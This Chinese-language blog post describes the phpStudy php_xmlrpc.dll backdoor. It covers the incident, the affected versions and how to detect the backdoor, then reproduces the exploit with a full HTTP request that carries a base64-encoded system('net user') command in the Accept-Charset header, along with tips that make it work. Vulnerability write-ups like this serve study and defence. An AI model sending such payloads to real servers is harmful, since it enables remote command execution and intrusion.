1啊啊啊
1.phpstudy介绍
Phpstudy是国内的一款免费的PHP调试环境的程序集成包,其通过集成Apache、PHP、MySQL、phpMyAdmin不同版本软件于一身,一次性安装无需配置即可直接使用,具有PHP环境调试和PHP开发功能。
2.后门事件
2018年12月4日,西湖区公安分局网警大队接报案,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。通过专业技术溯源进行分析,查明了数据回传的信息种类、原理方法、存储位置,并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定,鉴定结果是该“后门”文件具有控制计算机的功能,嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。在2019年9月20日,网上爆出phpstudy存在“后门”。作者随后发布了声明。
2.影响版本
软件作者声明phpstudy 2016版PHP5.4存在后门。
实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门
3.后门检测方法
通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中
phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl
打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:
漏洞复现
1、复现环境winserver 2012+phpStudy 2018(php-5.4.45+Apache)
2、检查是否引用了php_xmlrpc.dll文件(只要引用了该文件,恶意代码就可以触发)
通过php.ini配置文件查看
3、burp抓包,构造payload
注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功
Accept-Charset 的值就是执行的命令, 需要进行base64编码
4、构造payload,查看用户名,payload如下
GET /l.php HTTP/1.1
Host: 192.192.1.56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip,deflate
accept-charset: c3lzdGVtKCduZXQgdXNlcicpOw==
Accept-Language: zh-CN,zh;q=0.9
Connection: close
其中c3lzdGVtKCduZXQgdXNlcicpOw==
为system('net user');的 base64编码
5、查看返回包,发现成功执行命令
原文地址: